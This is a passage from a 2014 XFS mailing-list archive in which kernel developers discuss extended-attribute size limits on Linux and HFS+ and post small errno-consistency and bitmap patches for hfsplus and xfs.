Maximum extended attribute size supported for all extended attributes except > > * resource fork and finder info. > > */ > > #define HFS_XATTR_MAXSIZE (128 * 1024) > > > > So, I need to check and correct slightly HFS+ xattrs support code. > > Because, I used 3082 bytes limitation value. > > I just verified above limits on Mac OS X, that's true. > > sh-3.2# a=`perl -e 'print "A"x131072'` > sh-3.2# xattr -w user.comment ${a} xattr_test > > sh-3.2# a=`perl -e 'print "A"x131073'` > sh-3.2# xattr -w user.comment ${a} xattr_test > xattr: [Errno 7] Argument list too long: 'xattr' > > Hence, that would be a problem to preserve EA with large value size on Linux. > I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I have failed on 3803 bytes size of xattr. So, I suppose that you have Mac OS X Lion. And EAs is larger under Lion yet. What version of Mac OS X have you? Thanks, Vyacheslav Dubeyko. From jeff.liu@oracle.com Fri Jan 31 07:39:35 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD3727F77 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 07:39:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C9C9AC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 05:39:31 -0800 (PST) X-ASG-Debug-ID: 1391175569-04bdf0121d54c80001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id Bf7DmpRQDYoNGwWw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 05:39:29 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VDdPJk031845 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 31 Jan 2014 13:39:25 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0VDdOwR003892 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 31 Jan 2014 13:39:24 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VDdOAe014068; Fri, 31 Jan 2014 13:39:24 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 05:39:23 -0800 Message-ID: <52EBA783.1080801@oracle.com> Date: Fri, 31 Jan 2014 21:39:15 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Vyacheslav Dubeyko <slava@dubeyko.com> CC: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <1391172723.4275.11.camel@ubuntu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391175569 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144684 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/31 2014 20:52 PM, Vyacheslav Dubeyko wrote: > On Fri, 2014-01-31 at 20:24 +0800, Jeff Liu wrote: >> On 01/31 2014 18:44 PM, Vyacheslav Dubeyko wrote: >>> On Fri, 2014-01-31 at 16:54 +0800, Jeff Liu wrote: >>>> Hello, >>>> >>>> On 01/31 2014 15:40 PM, Sun_Blood wrote: >>>>> Hello, >>>>> >>>>> If I understands it correctly XFS don't have a limit to the size of >>>>> extended attributes(EA) but Linux impose a limit at 64k. >>>>> What I am trying to do is build a backup server that our Apple computers >>>>> will use together with rsync to backup files to. The problem I face is >>>>> that Apple HFS+ don't have a limit to EA so it has files with more then >>>>> 64k of EA in it. >>> >>> Technical Note TN1150: >>> "In an HFS Plus B-tree, the node size is determined by a field >>> (nodeSize) in the header node. The node size must be a power from 512 >>> through 32,768." >>> >>> So, as minimum, xattrs unable to be a larger than node size. >>> >>> But xattrs' size has limitation anyway: >>> >>> https://github.com/darwin-on-arm/xnu/blob/master/bsd/hfs/hfs.h#L849 >>> >>> /* Maximum extended attribute size supported for all extended attributes except >>> * resource fork and finder info. >>> */ >>> #define HFS_XATTR_MAXSIZE (128 * 1024) >>> >>> So, I need to check and correct slightly HFS+ xattrs support code. >>> Because, I used 3082 bytes limitation value. >> >> I just verified above limits on Mac OS X, that's true. >> >> sh-3.2# a=`perl -e 'print "A"x131072'` >> sh-3.2# xattr -w user.comment ${a} xattr_test >> >> sh-3.2# a=`perl -e 'print "A"x131073'` >> sh-3.2# xattr -w user.comment ${a} xattr_test >> xattr: [Errno 7] Argument list too long: 'xattr' >> >> Hence, that would be a problem to preserve EA with large value size on Linux. >> > > I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I have > failed on 3803 bytes size of xattr. So, I suppose that you have Mac OS X > Lion. And EAs is larger under Lion yet. > > What version of Mac OS X have you? > Yup, Mountain Lion v10.8.4 :) FYI, there have a couple of things regarding HFSPlus+xattr+acl on Linux might be deserved to discuss together. We once have a discussion about the errno in case of hit the limits of ACLs, which could be referred to: http://www.spinics.net/lists/linux-fsdevel/msg71125.html HFSPlus return ENOMEM in this case, but it should be E2BIG as per Dave's comments. I worked out a patch series includes HFSPlus, but not yet posted for some reasons. Also, it seems to me we'd better consolidate the errno for EA as well, that is to say, it's better to fix the return error to be consistent with VFS interface in case of the given EA name/value length is larger than the specified limits. Would you like to take a look at the following two patches? Thanks, -Jeff From: Jie Liu <jeff.liu@oracle.com> Subject: [PATCH 7/12] HFSPlus: return -E2BIG if hit the maximum size of ACLs Return -E2BIG rather than -ENOMEM if hit the maximum size of ACLs, because of the former errno is consistent with the VFS interface. Signed-off-by: Jie Liu <jeff.liu@oracle.com> --- fs/hfsplus/posix_acl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c index b609cc1..2f2788d 100644 --- a/fs/hfsplus/posix_acl.c +++ b/fs/hfsplus/posix_acl.c @@ -92,7 +92,7 @@ static int hfsplus_set_posix_acl(struct inode *inode, if (acl) { size = posix_acl_xattr_size(acl->a_count); if (unlikely(size > HFSPLUS_MAX_INLINE_DATA_SIZE)) - return -ENOMEM; + return -E2BIG; value = (char *)hfsplus_alloc_attr_entry(); if (unlikely(!value)) return -ENOMEM; -- 1.8.3.2 From: Jie Liu <jeff.liu@oracle.com> Subject: [PATCH 8/12] HFSPlus: return -ERANGE if xattr name size is larger than HFSPLUS_ATTR_MAX_STRLEN Return -ERANGE rather than -EOPNOTSUPP if the length of xattr name is larger than HFSPLUS_ATTR_MAX_STRLEN, because of the former errno is consistent with the VFS interface. Signed-off-by: Jie Liu <jeff.liu@oracle.com> --- fs/hfsplus/xattr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c index 3c6136f..1ca58be 100644 --- a/fs/hfsplus/xattr.c +++ b/fs/hfsplus/xattr.c @@ -919,7 +919,7 @@ static int hfsplus_osx_getxattr(struct dentry *dentry, const char *name, return -EINVAL; if (len > HFSPLUS_ATTR_MAX_STRLEN) - return -EOPNOTSUPP; + return -ERANGE; strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); @@ -938,7 +938,7 @@ static int hfsplus_osx_setxattr(struct dentry *dentry, const char *name, return -EINVAL; if (len > HFSPLUS_ATTR_MAX_STRLEN) - return -EOPNOTSUPP; + return -ERANGE; strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); -- 1.8.3.2 From jeff.liu@oracle.com Fri Jan 31 08:13:55 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 802497F37 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:13:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 21006AC00D for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:13:52 -0800 (PST) X-ASG-Debug-ID: 1391177627-04cb6c6de255540001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 9oN2dgA70mIdTkHl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:13:47 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VEDjT6008182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:13:46 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0VEDi7U018550 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:13:45 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VEDi1i026555 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:13:44 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 06:13:44 -0800 Message-ID: <52EBAF91.10608@oracle.com> Date: Fri, 31 Jan 2014 22:13:37 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: [PATCH] xfs: improve xfs_bitmap_empty() Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: improve xfs_bitmap_empty() Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391177627 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu <jeff.liu@oracle.com> There is no need to travel through the whole bitmap items to verify if the bitmap array is empty or not, instead, just return 0 directly if an item is detected in bitmap array. Signed-off-by: Jie Liu <jeff.liu@oracle.com> --- fs/xfs/xfs_bit.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_bit.c b/fs/xfs/xfs_bit.c index 0e8885a..ae0acc2 100644 --- a/fs/xfs/xfs_bit.c +++ b/fs/xfs/xfs_bit.c @@ -32,13 +32,13 @@ int xfs_bitmap_empty(uint *map, uint size) { uint i; - uint ret = 0; for (i = 0; i < size; i++) { - ret |= map[i]; + if (map[i]) + return 0; } - return (ret == 0); + return 1; } /* -- 1.8.3.2 From jeff.liu@oracle.com Fri Jan 31 08:16:24 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 77B377F37 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:16:24 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 53FAF8F8065 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:16:24 -0800 (PST) X-ASG-Debug-ID: 1391177783-04cbb00c2850c30001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id cTDPthieFcOpSwSV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:16:23 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VEGMbA011743 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:16:22 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VEGLcG006261 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:16:22 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VEGLPW005653 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:16:21 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 06:16:20 -0800 Message-ID: <52EBB032.8070306@oracle.com> Date: Fri, 31 Jan 2014 22:16:18 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: return -E2BIG if hit the maximum size limits of ACLs Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391177783 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu <jeff.liu@oracle.com> We should return -E2BIG rather than -EINVAL if hit the maximum size limits of ACLS, as the former is consistent with VFS xattr syscalls. Signed-off-by: Jie Liu <jeff.liu@oracle.com> --- fs/xfs/xfs_acl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 370eb3e..fd4e8ff 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -397,7 +397,7 @@ xfs_xattr_acl_set(struct dentry *dentry, const char *name, if (error) goto out_release; - error = -EINVAL; + error = -E2BIG; if (acl->a_count > XFS_ACL_MAX_ENTRIES(XFS_M(inode->i_sb))) goto out_release; -- 1.8.3.2 From slava@dubeyko.com Fri Jan 31 08:21:34 2014 Return-Path: <slava@dubeyko.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6E0C97F82 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:21:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 62C4F304067 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:21:31 -0800 (PST) X-ASG-Debug-ID: 1391178089-04cb6c6de055990001-NocioJ Received: from gproxy4-pub.mail.unifiedlayer.com (gproxy4-pub.mail.unifiedlayer.com [69.89.23.142]) by cuda.sgi.com with SMTP id n920mVI8Ynckg0Vh for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:21:29 -0800 (PST) X-Barracuda-Envelope-From: slava@dubeyko.com X-Barracuda-Apparent-Source-IP: 69.89.23.142 Received: (qmail 13682 invoked by uid 0); 31 Jan 2014 14:21:29 -0000 Received: from unknown (HELO CMOut01) (10.0.90.82) by gproxy4.mail.unifiedlayer.com with SMTP; 31 Jan 2014 14:21:29 -0000 Received: from host202.hostmonster.com ([74.220.215.202]) by CMOut01 with id LeMQ1n0014NbHr601eMThX; Fri, 31 Jan 2014 07:21:28 -0700 X-Authority-Analysis: v=2.1 cv=F57EKMRN c=1 sm=1 tr=0 a=yEjhGPV9XlbPNRGz7jjbow==:117 a=yEjhGPV9XlbPNRGz7jjbow==:17 a=DsvgjBjRAAAA:8 a=f5113yIGAAAA:8 a=kH96It08rf4A:10 a=neHJxMmKCwgA:10 a=IkcTkHD0fZMA:10 a=wCmvBT1CAAAA:8 a=mwXUDZVSVwYA:10 a=djd9j7hWnewA:10 a=OLL_FvSJAAAA:8 a=yPCof4ZbAAAA:8 a=v9Vs7-HGSseDLjL_EvYA:9 a=DHIQUK-IKYq7ARws:21 a=Cw_VE29xeZibqoX5:21 a=QEXdDO2ut3YA:10 a=chyJ7cBmr3kA:10 a=7DSvI1NPTFQA:10 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=dubeyko.com; s=default; h=Mime-Version:Content-Transfer-Encoding:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID; bh=eUQEXsEH5l/9wq5Qa3GVZ2tARgO2GFC+9FBfBBVyi4w=; b=mZvXI+nSKC8VlJyodeuM/DUysZb0xRmTAAMCnxWOfaIiK3lAXdfO49C9pFHIK9xyhjXV3MS5Y6HZwQX4FV8m4UdtYSr/F6j7GHq8eodS5kFzhn3hm+bX4kTeF+PB8TkW; Received: from [46.39.244.28] (port=57675 helo=[192.168.44.128]) by host202.hostmonster.com with esmtpa (Exim 4.80) (envelope-from <slava@dubeyko.com>) id 1W9EyB-00050L-Ix; Fri, 31 Jan 2014 07:21:23 -0700 Message-ID: <1391178074.4275.19.camel@ubuntu> Subject: Re: Extended attributes limit in Linux From: Vyacheslav Dubeyko <slava@dubeyko.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux To: Jeff Liu <jeff.liu@oracle.com> Cc: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Date: Fri, 31 Jan 2014 18:21:14 +0400 In-Reply-To: <52EBA783.1080801@oracle.com> References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Identified-User: {2172:host202.hostmonster.com:dubeykoc:dubeyko.com} {sentby:smtp auth 46.39.244.28 authed with slava@dubeyko.com} X-Barracuda-Connect: gproxy4-pub.mail.unifiedlayer.com[69.89.23.142] X-Barracuda-Start-Time: 1391178089 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, 2014-01-31 at 21:39 +0800, Jeff Liu wrote: > > > > I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I have > > failed on 3803 bytes size of xattr. So, I suppose that you have Mac OS X > > Lion. And EAs is larger under Lion yet. > > > > What version of Mac OS X have you? > > > Yup, Mountain Lion v10.8.4 :) > I suspect that xattrs with significant size is stored in compressed state on HFS+. I implemented support of compressed xattrs partially but I don't share this code yet. But, yes, EAs with size greater than 64 KB can be a problem. > FYI, there have a couple of things regarding HFSPlus+xattr+acl on Linux might be > deserved to discuss together. > > We once have a discussion about the errno in case of hit the limits of ACLs, which > could be referred to: > http://www.spinics.net/lists/linux-fsdevel/msg71125.html > > HFSPlus return ENOMEM in this case, but it should be E2BIG as per Dave's comments. > I worked out a patch series includes HFSPlus, but not yet posted for some reasons. > > Also, it seems to me we'd better consolidate the errno for EA as well, that is to > say, it's better to fix the return error to be consistent with VFS interface in case > of the given EA name/value length is larger than the specified limits. > > Would you like to take a look at the following two patches? > Yes, sure. Patches looks correct and good for me. But did you take into account recent significant changes of Christoph Hellwig? If so, then all looks good. Thanks, Vyacheslav Dubeyko. > Thanks, > -Jeff > > > From: Jie Liu <jeff.liu@oracle.com> > Subject: [PATCH 7/12] HFSPlus: return -E2BIG if hit the maximum size of ACLs > > Return -E2BIG rather than -ENOMEM if hit the maximum size of ACLs, because > of the former errno is consistent with the VFS interface. > > Signed-off-by: Jie Liu <jeff.liu@oracle.com> > --- > fs/hfsplus/posix_acl.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c > index b609cc1..2f2788d 100644 > --- a/fs/hfsplus/posix_acl.c > +++ b/fs/hfsplus/posix_acl.c > @@ -92,7 +92,7 @@ static int hfsplus_set_posix_acl(struct inode *inode, > if (acl) { > size = posix_acl_xattr_size(acl->a_count); > if (unlikely(size > HFSPLUS_MAX_INLINE_DATA_SIZE)) > - return -ENOMEM; > + return -E2BIG; > value = (char *)hfsplus_alloc_attr_entry(); > if (unlikely(!value)) > return -ENOMEM; > -- > 1.8.3.2 > > > From: Jie Liu <jeff.liu@oracle.com> > Subject: [PATCH 8/12] HFSPlus: return -ERANGE if xattr name size is larger than HFSPLUS_ATTR_MAX_STRLEN > > Return -ERANGE rather than -EOPNOTSUPP if the length of xattr name is > larger than HFSPLUS_ATTR_MAX_STRLEN, because of the former errno is > consistent with the VFS interface. > > Signed-off-by: Jie Liu <jeff.liu@oracle.com> > --- > fs/hfsplus/xattr.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c > index 3c6136f..1ca58be 100644 > --- a/fs/hfsplus/xattr.c > +++ b/fs/hfsplus/xattr.c > @@ -919,7 +919,7 @@ static int hfsplus_osx_getxattr(struct dentry *dentry, const char *name, > return -EINVAL; > > if (len > HFSPLUS_ATTR_MAX_STRLEN) > - return -EOPNOTSUPP; > + return -ERANGE; > > strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); > strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); > @@ -938,7 +938,7 @@ static int hfsplus_osx_setxattr(struct dentry *dentry, const char *name, > return -EINVAL; > > if (len > HFSPLUS_ATTR_MAX_STRLEN) > - return -EOPNOTSUPP; > + return -ERANGE; > > strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); > strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); From jeff.liu@oracle.com Fri Jan 31 08:33:42 2014 Return-Path: <jeff.liu@oracle.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3A3527F84 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:33:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B5C55AC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:33:41 -0800 (PST) X-ASG-Debug-ID: 1391178819-04cb6c6de2563d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 3vylvCSyfoWfEeRn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 06:33:40 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0VEXZDg000810 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 31 Jan 2014 14:33:35 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VEXXFh027157 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 31 Jan 2014 14:33:34 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0VEXXJi026551; Fri, 31 Jan 2014 14:33:33 GMT Received: from [192.168.1.101] (/27.194.218.111) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 31 Jan 2014 06:33:33 -0800 Message-ID: <52EBB431.50301@oracle.com> Date: Fri, 31 Jan 2014 22:33:21 +0800 From: Jeff Liu <jeff.liu@oracle.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Vyacheslav Dubeyko <slava@dubeyko.com> CC: Sun_Blood <sblood@gmail.com>, xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: 